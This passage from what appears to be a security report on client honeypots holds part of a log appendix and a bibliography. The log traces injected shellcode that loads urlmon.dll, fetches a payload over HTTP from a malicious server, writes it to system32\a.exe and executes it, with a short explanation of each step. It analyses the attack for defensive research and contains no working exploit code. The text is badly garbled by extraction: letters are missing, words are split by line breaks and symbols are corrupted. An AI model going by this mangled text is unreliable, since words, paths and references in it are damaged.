−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Write ( Handle 1208) ∗∗



50 APPENDIX B. LOG FILESNtCreateFi leC: \WINDOWS\ system32\a . exe
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Read (Handle 1216) ∗∗ReadFileBUFFER − SIZE 32000 bytes
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Read (Handle 1216) ∗∗ReadFile
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Write ( Handle 1208) ∗∗WriteFi leBUFFER − SIZE 32000 bytesMZ
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Exe
ute ∗∗WinExe
C: \WINDOWS\ system32\a . exe
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−The following events 
an be observed:

• The shell
ode inje
ted requires some high-level fun
tion to download thepayload indi
ated, so it loads the library urlmon.dll
• It is requested to the mali
ious server the payload via the http proto
ol.In our 
ase, the payload was notepad.exe .
• As the payload was already downloaded in previous tests, it is readed fromthe 
a
he.
• The payload is saved to the �le 
:\windows\system\a.exe
• Finally, the payload is exe
uted



Bibliography[1℄ SANS Institute. SANS Top-20 Internet Se
urity Atta
k Targets (2006 An-nual Update).http://www.sans.org/top20/[2℄ CERT. Results of the Se
urity in A
tiveX Workshop. Pittsburgh, Pennsyl-vania USA. August 22-23, 2000.http://www.
ert.org/reports/a
tiveX_report.pdf[3℄ Wikipedia. Honey
lient.http://en.wikipedia.org/wiki/Client_honeypot_/_honey
lient[4℄ Pablo Yabo. Reading and Writing Messages in Outlook Express. The CodeProje
t.http://www.
odeproje
t.
om/
om/Outlook_Express_Messages.asp[5℄ Je�rey Rit
her. Load Your 32-bit DLL into Another Pro
ess's AddressSpa
e Using INJLIB. May 1994.[6℄ Greg Hoglund and Jamie Butle. Rootkits: Subverting the Windows Kernel.Addison-Wesley. July 22, 2005.[7℄ Piotr Bania. Windows Sys
all Shell
ode. April 4, 2005.http://www.se
urityfo
us.
om/info
us/1844[8℄ Yariv Kaplan. API Spying Te
hniques for Windows 9x, NT and 2000 .http://www.internals.
om/arti
les/apispy/apispy.htm[9℄ Kristis Makirs (Arizone State University) and Kyung Ryu (IBM T.J. Re-sear
h). Dynami
 and adaptative updates of non-quies
ent subsystems in
ommodity operating systems kernels. In Pro
eedings of Eurosys 2007, Lis-bon, Portugal, Mar
h 2007.[10℄ Wikipedia. Call sta
k.http://en.wikipedia.org/wiki/Call_sta
k[11℄ Aleph One. Smashing the sta
k for fun and pro�t. Phra
k Magazine, 7(49),Novembre 1996. 51



52 BIBLIOGRAPHY[12℄ The HoneyClient Proje
t.http:://www.honey
lient.org[13℄ Yi-Min Wang, Doug Be
k, Xuxian Jiang and Roussi Roussev. AutomatedWeb Patrol with Strider HoneyMonkeys: Finding Web Sites That ExploitBrowser Vulnerabilities. July 27, 2005.[14℄ Chad Verbowski, Emre Ki
iman, Arunvijay Kumar, Brad Daniels, ShanLu, Juhan Lee, Yi-Min Wang and Roussi Roussev. Flight Data Re
order:Monitoring Persistent-State Intera
tions to Improve Systems Management.[15℄ Yi-Min Wang, Roussi Roussev, Chad Verbowski and Aaron Johnson. Gate-keeper: Monitoring Auto-Start Extensibility Points (ASEPs) for SpywareManagement. 2004 LISA XVIII, November 14-19, 2004.[16℄ Jamie Butler and anonymous writers. Bypassing 3rd Party Windows Bu�erOver�ow Prote
t. Phra
k Magazine.http://www.phra
k.org/ar
hives/62/p62-0x05_Bypassing_Win_BufferOverflow_Prote
tion.txt


